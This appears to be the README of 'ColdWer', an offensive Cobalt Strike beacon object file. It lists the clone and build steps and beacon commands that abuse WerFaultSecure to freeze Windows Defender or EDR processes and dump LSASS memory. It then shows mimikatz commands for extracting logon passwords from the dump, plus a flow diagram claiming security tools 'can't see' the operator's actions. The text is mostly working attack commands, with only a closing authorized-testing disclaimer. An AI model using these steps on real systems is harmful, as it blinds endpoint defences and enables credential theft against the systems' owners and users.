C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Navigate to source directory
cd src/

# Compile BOF (requires MinGW)
make

# Or manually:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Find Windows Defender PID
beacon> ps

# Freeze the process
beacon> cw-freeze 1337

# Execute your commands while EDR/AV is frozen
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Unfreeze when done
beacon> cw-unfreeze

# Step 1: Upload Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Step 2: Find LSASS PID
beacon> ps

# Step 3: Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Step 4: Download the dump
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Freeze with default path
beacon> cw-freeze 1337

# Use custom WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Unfreeze when done
beacon> cw-unfreeze

1. 🚀 Launch WerFaultSecure.exe as PPL (WinTcb level)
                    ↓
2. 🎯 WerFaultSecure attaches to target process
                    ↓
3. ⏸️  MiniDumpWriteDump suspends all target threads
                    ↓
4. 🥶 Suspend WerFaultSecure itself → Target stays frozen
                    ↓
5. ✅ Execute your commands (EDR/AV can't see!)
                    ↓
6. 🔥 Terminate WerFaultSecure → Target unfreezes

⚠️ FOR AUTHORIZED SECURITY TESTING ONLY

This tool is intended for:
- Authorized penetration testing
- Red team operations with written permission
- Security research in controlled environments

The author is not responsible for any misuse or damage caused by this tool.
Unauthorized access to computer systems is illegal.